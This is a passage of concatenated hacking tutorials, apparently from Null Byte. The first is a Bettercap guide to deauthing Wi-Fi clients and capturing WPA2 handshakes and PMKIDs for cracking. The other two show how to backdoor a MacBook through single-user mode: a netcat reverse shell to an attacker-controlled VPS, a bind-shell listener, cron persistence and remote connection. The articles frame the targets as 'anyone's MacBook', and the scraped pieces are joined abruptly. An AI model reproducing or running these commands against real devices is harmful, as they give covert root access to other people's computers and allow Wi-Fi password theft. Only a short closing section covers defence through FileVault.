| -95 dBm | ██:██:██:██:██:██ | █████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:01:41 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
wlan1mon (ch. 12) / ↑ 0 B / ↓ 1.5 MB / 6556 pktsWow, we can see tons of information about the nearby wireless environment around us, such as which networks are strongest and what kinds of encryption they use.You'll notice that all of the networks will be in green (you can't see it in this article, but on yours, you will see green). When we see a network is red (again, not in the box above but you will see it on your end), it means we have a handshake for it and can attempt to brute-force it. Let's start with a tried-and-true method first, and use the deauth module to try to get handshakes.Step 6: Attack with a Deauth AttackTo start the deauth module, you'll typewifi.deauthand then the MAC address of the network you want to attack. If you want to attack every network you've found, you can just typeallor *, but be aware this can be illegal if you're interfering with someone's Wi-Fi that did not permit you to test this tool on it.wlan1 » wifi.deauth all
wlan1 » [23:02:53] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:02:54] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:02:55] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:02:55] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:02:56] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:02:57] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:02:57] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:02:58] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:02:59] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:03:00] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1 » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:02] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:02] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:03:03] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1 » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1 » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1 » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████After allowing the tool to run for a minute or so, we can see the results by typingwifi.showand seeing if any results have come in red. In our example, we can see that we've managed to grab handshakes for three of the nearby Wi-Fi networks we've detected.wlan1 » wifi.show
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴ | BSSID | SSID | Encryption | WPS | Ch | Clients | Sent | Recvd | Seen |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | 5 | 12 kB | | 23:03:06 |
| -57 dBm | ██:██:██:██:██:██ | █████████████ | WPA2 (CCMP, PSK) | | 6 | 1 | 6.5 kB | 66 B | 23:03:04 |
| -63 dBm | ██:██:██:██:██:██ | ██████ | WPA2 (CCMP, PSK) | | 11 | 2 | 1.2 kB | | 23:03:04 |
| -64 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (CCMP, PSK) | 2.0 | 5 | 2 | 7.1 kB | 128 B | 23:03:02 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 1 | 2 | 353 B | | 23:03:05 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████ | WPA2 (CCMP, PSK) | | 6 | 1 | 4.9 kB | | 23:03:06 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:03:06 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████ | WPA2 (CCMP, PSK) | | 7 | | | | 23:03:07 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 1 | | | | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 6 | | | | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████ | WPA2 (CCMP, PSK) | | 6 | | 670 B | 384 B | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, MGT) | | 6 | | | | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, MGT) | | 6 | | | | 23:03:01 |
| -87 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | | 759 B | | 23:03:02 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████ | WPA2 (CCMP, PSK) | | 6 | | 228 B | 1.2 kB | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████ | WPA2 (CCMP, PSK) | | 8 | | | | 23:03:04 |
| -90 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | | | | 23:03:06 |
| -91 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (TKIP, PSK) | | 11 | | 1.7 kB | | 23:03:04 |
| -92 dBm | ██:██:██:██:██:██ | ██ | WPA2 (CCMP, PSK) | 2.0 | 11 | | | | 23:03:08 |
| -92 dBm | ██:██:██:██:██:██ | ████████ | WPA2 (TKIP, PSK) | | 11 | | | | 23:03:08 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:03:09 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:03:09 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
wlan1mon (ch. 12) / ↑ 73 kB / ↓ 8.9 MB / 28100 pkts / 2 handshakesThis is a good result, but many of these networks are not attended, as can be seen by the client count section. Notice how this method didn't work against any network that didn't have clients attached? To attack these unattended networks, we'll need to run the second module. To save any handshakes captured, useset wifi.handshakefollowed by the directory you want to save the file in.wlan1 » set wifi.handshakes '/desiredfolderlocation'Step 7: Attack with a PMKID AttackTo begin our attack against unattended networks, we'll typewifi.assocand then the MAC address that we want to attack. If we're going to attack all networks we've detected, typingallor * instead will do so. If you enabledevents.stream offbut want to see the results of this module roll in, you can reenable the event stream by typingevents.stream onand watching for results that look like the following.wlan1 » wifi.assoc all
wlan1 » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1 » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1 » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1 » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1 » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcapNow that we've tried both tools, let's take a look at our results withwifi.show. We should, if we're lucky, see more networks in red. While there are no colors below, five of them were indeed red.wlan1 » wifi.show
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴ | BSSID | SSID | Encryption | WPS | Ch | Clients | Sent | Recvd | Seen |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | 5 | 12 kB | | 23:04:36 |
| -57 dBm | ██:██:██:██:██:██ | █████████████ | WPA2 (CCMP, PSK) | | 6 | 1 | 6.5 kB | 66 B | 23:04:34 |
| -63 dBm | ██:██:██:██:██:██ | ██████ | WPA2 (CCMP, PSK) | | 11 | 2 | 1.2 kB | | 23:04:34 |
| -64 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (CCMP, PSK) | 2.0 | 5 | 2 | 7.1 kB | 128 B | 23:04:32 |
| -90 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | | | | 23:04:36 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 1 | 2 | 353 B | | 23:04:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████ | WPA2 (CCMP, PSK) | | 6 | 1 | 4.9 kB | | 23:04:36 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, MGT) | | 6 | | | | 23:04:31 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:04:36 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████ | WPA2 (CCMP, PSK) | | 7 | | | | 23:04:37 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 1 | | | | 23:04:31 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████ | WPA2 (CCMP, PSK) | | 6 | | | | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████ | WPA2 (CCMP, PSK) | | 6 | | 670 B | 384 B | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, MGT) | | 6 | | | | 23:04:31 |
| -87 dBm | ██:██:██:██:██:██ | <hidden> | WPA2 (CCMP, PSK) | | 6 | | 759 B | | 23:04:32 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████ | WPA2 (CCMP, PSK) | | 6 | | 228 B | 1.2 kB | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████ | WPA2 (CCMP, PSK) | | 8 | | | | 23:04:34 |
| -91 dBm | ██:██:██:██:██:██ | ██████████ | WPA2 (TKIP, PSK) | | 11 | | 1.7 kB | | 23:04:34 |
| -92 dBm | ██:██:██:██:██:██ | ██ | WPA2 (CCMP, PSK) | 2.0 | 11 | | | | 23:04:38 |
| -92 dBm | ██:██:██:██:██:██ | ████████ | WPA2 (TKIP, PSK) | | 11 | | | | 23:04:38 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 6 | | | | 23:04:39 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████ | WPA2 (CCMP, PSK) | | 11 | | | | 23:04:39 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
wlan1mon (ch. 12) / ↑ 45 kB / ↓ 8.9 MB / 38377 pkts / 3 handshakesBy running both modules, we were able to grab the information we need for five out of the ten closest Wi-Fi networks. That's pretty impressive. If we open the file Bettercap generated from these captures, we can see the information Bettercap has saved for us to crack in another program.There we go! With Bettercap, we can capture the signals we need from Wi-Fi networks to brute-force weak passwords. You can follow our guide onhandshake cracking with Hashcatto try brute-forcing the passwords.Don't Miss:Cracking WPA2 Passwords with the PMKID Hashcat AttackBettercap Is the Swiss Army Knife of Wi-Fi HackingBettercap is an essential part of any hacker's toolkit, especially for the ability to run smoothly on low-cost devices like a Raspberry Pi. With Bettercap's ability to quickly discover low-hanging fruit like weak network passwords, you can use it to gain further access to devices on a network through ARP spoofing and poisoning in other Bettercap modules.Make sure only to use the active modules of Bettercap on networks you have permission to use, but the recon modules are fine to use virtually anywhere. With enough patience, Bettercap will simply record handshakes when users connect to the network naturally, without needing to attack the network at all.I hope you enjoyed this guide to using Betterecap to hack Wi-Fi networks! If you have any questions about this tutorial, there's the comments section below, and feel free to follow me on Twitter@KodyKinzie.Don't Miss:How to Target Bluetooth Devices with BettercapWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Target Bluetooth Devices with BettercapAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Automate Wi-Fi Hacking with Wifite2How To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Easily Share Your Wi-Fi Password with a QR Code on Your Android PhoneHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHacking Android:How to Create a Lab for Android Penetration TestingHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Pick an Antenna for Wi-Fi HackingHow To:Find Your Misplaced iPhone Using Your Apple Watch |
Hacking macOS: How to Connect to MacBook Backdoors from Anywhere in the World « Null Byte :: WonderHowTo | Backdooring a powered-off MacBookis easy when a few minutes of physical access is allowed. That attack works well if the hacker also shares a Wi-Fi network with the victim, but this time, I'll show how to remotely establish a connection to the backdoored MacBook as it moves between different Wi-Fi networks.I've already shown how to backdoor a MacBookusing a simple Netcat payload. This time, instead of creating a Netcat listener on the laptop and using an incoming connection to control it, the listener is created on anattacker-controlled VPS(virtual private server), and the MacBook periodically uses outgoing transmissions to connect to it. The roles of the Netcat commands are reversed; the attacker waits for incoming connections. ThemacOS default firewall settingsonly filterincoming connections, so this will entirely evade default firewall configurations.Previously:How to Configure a Backdoor on Anyone's MacBookThis kind ofphysical attackcan be performed by coworkers, neighbors, hotel maids, roommates, friends, spouses, or anyone with a few minutes of physical access to the target MacBook.Step 1: Purchase the VPSThere are no particular VPS configurations required in this method. A VPS with minimum specifications will perform well for this specific attack as there will not be any powerful CPU or RAM usage required.The VPS should be online and accessible via SSH before booting the MacBook into single-user mode. Take note of the VPS's IP address, as it's required in the next step.Don't Miss:The White Hat's Guide to Choosing a Virtual Private ServerStep 2: Create the Netcat PayloadThis method is a standalone method and does not require the Netcat payload used inmy previous article.While insingle-user mode, instead of creating a listener on the MacBook, Netcat will be used to periodically connect to the attacker's server at a set interval. To do this,nanocan be used to save the below BASH script into a file calledpayload.nano /etc/payloadType the below script into the nano terminal (TheVPS-IP-ADDRESS-HEREshould be changed to the attacker's IP address for the VPS), then save and exit by pressingCtrl+X, thenY, thenReturn.#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS-IP-ADDRESS-HERE 1234 < f | /bin/bash -i > f 2>&1
fiMuch likemy previous BASH script, the first line (n=$(ps aux | grep -o [1]234)), creates a variablen, which checks to see if port1234is already open. This port detection is achieved usingps, a tool used to view running background processes.The following line (if [[ $n = "" ]]; then) is the start of anifstatement which saysifthe variablen(port 1234) is not found,mkfifo, a tool used to create a "named pipe," will create a file calledf. The filename here is totally arbitrary and uses "f" for simplicity.Following the mkfifo command is the Netcat command (nc VPS-IP-ADDRESS-HERE 1234 < f | /bin/bash -i > f 2>&1) which is the primary difference compared to my previous script. Instead of opening a port, it tries to connect to port 1234 on the attacker-controlled VPS. Commands are again piped using theffile to grant the attacker access to a full BASH terminal.As said before, theVPS-IP-ADDRESS-HEREshould be changed to the attacker's IP address for the VPS. For example, if the attacker's IP address were 11.22.33.44, that line of the script would appear as such:nc 11.22.33.44 1234 < f | /bin/bash -i > f 2>&1Step 3: Use Cron to Execute the PayloadNext,crontab, a feature ofcron, will be used to schedule the BASH script ("payload") to execute every 10 minutes. The below command can be used to accomplish this.env EDITOR=nano crontab -eA new nano terminal will open. Type the below into nano, then save and exit the terminal.*/10 * * * * /etc/payloadReaders interested in scheduling cronjobs at intervals other than 10 minutes should check outTecAdmin's useful article.Step 4: Elevate the Payload File PermissionsLastly, the payload file permissions should be upgraded using the belowchmodcommand. This will allow the payload to execute without user input.chmod 777 /etc/payloadStep 5: Shut Down the MacBookWhen that's done, enter the below command into the single-user terminal to shut down the laptop.shutdown -h nowThat's it for backdooring the macOS device. When the owner of the laptop turns the device on, the Netcat command will execute every 10 minutes and attempt to connect to the attacker's server. If the server is not online, the Netcat command will continue to fail silently and try again at the next interval.Step 6: Wait for Incoming ConnectionsNow, with the MacBook backdoored, the final step is to start the Netcat listener on the VPS and wait for an incoming connection. This can be done using the below Netcat command.nc -l -p 1234Netcat will listen (-l) for incoming connections on every available interface on port (-p) 1234. That's all there is to it.When a new Netcat connection is established, the attacker will have full root access to the compromised MacBook. In upcoming articles, I'll show a few post-explotation tricks such as reading private Mail messages, dumping Chrome browser data, and escalating privileges.Readers interested in defending against such attacks should review the "How to Protect Yourself from Single-User Mode Abuse" section of my previous article.Don't Miss:How to Use Netcat — The Swiss Army Knife of Hacking ToolsFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNilotpal Kalita/Unsplash; Screenshots by tokyoneon/Null ByteRelatedHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Hack a MacBook with One Ruby CommandHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Create an Undetectable PayloadHow To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Create a Bootable Install USB Drive of macOS 10.12 SierraHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHacking macOS:How to Break into a MacBook Encrypted with FileVaultNews:What REALLY Happened with the Juniper Networks Hack?Hacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow To:Use YouTube to Watch Purchased Prime Video, iTunes, Vudu & Other Movies on Your PhoneNews:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the AppNews:Ubuntu Usb on MacbookNews:Day 2 Of Our New WorldHow To:Turn Off MacBook Pro Screen with the Lid Open and Using an External Monitor |
Hacking macOS: How to Configure a Backdoor on Anyone's MacBook « Null Byte :: WonderHowTo | Theconversationof which operating system is most secure, macOS vs. Windows, is an ongoing debate. Most will say macOS is more secure, but I'd like to weigh in by showing how to backdoor a MacBook in less than two minutes and maintain a persistent shell using tools already built into macOS.Windows 10 is definitely not hackproof, but in this guide andupcoming articles, I'm hoping to help debunk the common misconception that macOS is more secure.To my surprise, macOS does not useFileVault hard drive encryption(though it may ask to enable it during a clean macOS install/upgrade) by default. Those who do enable it may end up disabling it later due to slower write speeds or encrpytion negatively impacting the CPU. The absence of hard drive encryption allows attackers complete access to the files on a MacBook — without a password.Don't Miss:Connect to MacBook Backdoors from Anywhere in the WorldLive Off the Land & Maintain PersistenceThere are quite a few payloads, RATs, and backdoors which can be deployed against MacBooks. To keep things simple, I'll exercise a technique coined "living off the land", which encourages penetration testers to utilize as many resources already present on the compromised device during post-exploitation attacks. This means not installing advanced payloads which actively evade antivirus detection but instead usingapplications which are already installedand will not be flagged as malicious.Netcat(referred to as onlyncfrom the command line) is a networking utility which can be used to create TCP or UDP connections. Its list of features includes port scanning, transferring files, and port listening to create backdoors into operating systems and networks. Netcat is one of the tools already built into macOS that will be utilized during this attack.Cronis a task scheduler found in Unix-like operating systems such as Debian, Ubuntu, and macOS. Cronjobs are often used by system administrators toautomate repetitive tasks, such as creating weekly backups, and executing a specific task when the OS reboots. To ensure the Netcat backdoor is always available, a cron job will be created to persistently open a new Netcat listener after it's closed.Don't Miss:The Ultimate Guide to Hacking macOSStep 1: Enable Single-User ModeTo begin the attack,single-user mode(another feature of macOS), will be used. Single-user mode was designed for troubleshooting, debugging boot errors, and repairing disk issues, among many other administrative tasks. Unfortunately, single-user mode is very easily accessed and abused by hackers.To access single-user mode, power on the target MacBook while holding theCommand+Sbuttons on the keyboard at the same time. Continue holding both of the keys until white text appears on the screen.After a few seconds, the attacker will have access to all the files on the MacBook and a root terminal — no passwords required. That's all there is to it. However, if the target device is indeed using FileVault encryption, booting withCommand+Swill instead prompt a password login screen. If this is the result, the device is not vulnerable to this attack.Step 2: Check the DiskAs per the single-user terminal, first usefsck, a utility for checking macOS filesystems for abnormalities. Running this command isn't used to compromise the device but should not be skipped. In my case, thefsckcommand completed in less than 60 seconds using a 250 GB solid-state drive./sbin/fsck -fyStep 3: Mount the Hard DriveNext, the hard drive will need to be mounted withreadandwritepermissions, allowing attackers the ability to add malicious files to the laptop. This can be done with the below command, which should complete in just a few seconds. With the ability towriteto the disk, the Netcat backdoor can be created./sbin/mount –uw /Step 4: Create the Netcat ListenerFacilitating persistence to the backdoored device as it moves between Wi-Fi networks in different parts of the world is outside the scope of this demonstration, so stay tuned for future articles. For now, I'll show how to connect to the backdoored MacBook on a shared Wi-Fi network.For simplicity sake, I'm saving the persistence script to the /etc/ directory and calling the filepayload. In real attack scenarios, it would make sense to hide the file in a different directory with a less obvious name.Nano can be used to create the script using the below command.nano /etc/payloadType the following Bash script into the nano terminal, then save and exit by pressingCtrl+X, thenY, thenEnter/Return. The script will need to be typed manually while in single-user mode, so I tried to keep it as simple as possible. There are a few things going on in the script, so I'll break it down for readers who aren't familiar with Bash.#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1
fiThe Netcat listener will open port1234on the macOS device. The first line (n=$(ps aux | grep -o [1]234)), creates a variablen, which checks to see if port1234is already open. This port detection is achieved usingps, a tool used to view running background processes.The following line (if [[ $n = "" ]]; then) is the start of anifstatement which saysifthe variablen(port 1234) is not found,mkfifo, a tool used to create a "named pipe," will create a file calledf. The filename here is totally arbitrary and uses "f" for simplicity.Followingmkfifois the Netcat command (nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1), which opens port1234on every available IPv4 interface (0.0.0.0) and uses theffile to pipe terminal commands to and from the backdoored device.Step 5: Use Cron to Execute the ScriptThat's it for the Netcat script. Next,crontab, a feature ofcron, will be used to schedule the Bash script ("payload") to execute every 60 seconds. The below command can be used to accomplish this.env EDITOR=nano crontab -eA new nano terminal will open. Type the below into the nano terminal, then save and close the nano terminal.* * * * * /etc/payloadReaders interested in scheduling cronjobs at intervals other than 60 seconds should check outOle Michelsen's articleon using crontab in macOS (previously Mac OS X).Step 6: Elevate the File PermissionsFor the final step, the script file permissions should be upgraded using the belowchmodcommand.chmod 777 /etc/payloadStep 7: Shutdown the MacWhen that's done, enter the below command into the single-user terminal to shutdown the laptop.shutdown -h nowThat's it for backdooring the macOS device. When the owner of the laptop turns the device on, the Netcat listener will execute every 60 seconds (if it's not already running) and allow the attacker access to the device on the same Wi-Fi network.Victims of this attack who aren't actively inspecting open ports and background services for suspicious activity will not easily detect this backdoor. In future articles, I'll show how to enhance this script and obfuscate its signature to actively evade detection — so stay tuned.Step 8: Connect to the Backdoored MacFrom any computer on the network,Nmapcan be used to find the device's IP address on the router.nmap -p1234,65534 -O 192.168.0.1/24OS detection (-O) requires at least 1 open and 1 closed port to accurately fingerprint the operating system, so one or more random ports should be included in the command. In my example script, Netcat was set to listen on port 1234, so that port was included in the command. If there are several Apple devices on the network, the backdoored laptop will be the only device with port 1234 in an "open" state.After locating the IP address of the backdoored device, connect to the MacBook with the below Netcat command.nc 192.168.0.65 1234Step 9: Fix the Misconfigured Source FileAs stated earlier, withpost-exploitation attacks, it's better to "live off the land" and useprograms and tools found on the operating systemto further compromise the target device.After establishing a connection to the Netcat listener, the shell will likely be primitive with no knowledge of where programs are located on the OS. For example, usingifconfigto view interfaces fails with "ifconfig: command not found."To fix this, use the belowsourcecommand.source /etc/profileUsingifconfigagain now works as expected.Step 10: Fingerprint the Backdoored DeviceSoftware and hardware enumeration can now begin. An example of this would be using Apple's built-insystem_profilercommand to gather information for version-specific payloads and exploits. Theunamecommand can also be used to view kernel version information.Infuture articlesI'll show how to establish persistence to compromised MacBooks as they move between Wi-Fi networks anywhere in the world, how to obfuscate Netcat to evade active detection, and how to generate and use advanced fully-featured payloads.How to Protect Yourself from Single-User Mode AbuseIf you don't want a hacker doing this to your computer, the answer is simple:Enable FileVault. Apple's full-disk encryption helps prevent unauthorized access to the information on hard drives and hardens single-user mode access.FileVault can be enabled by navigating to "System Preferences," then "Security & Privacy," and clicking "Turn On FileVault" (you may need to unlock the settings first). When it completes, the MacBook will restart and require a password to unlock the computer every time the Mac starts up. No account will be permitted to login automatically and accessing single-user mode will also require a password.Instructions:How to Enable Full Disk Encryption in macOS to Protect Your DataIf you enjoyed this article, follow me on Twitter@tokyoneon_. For questions and concerns, leave a comment or message me on Twitter.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your 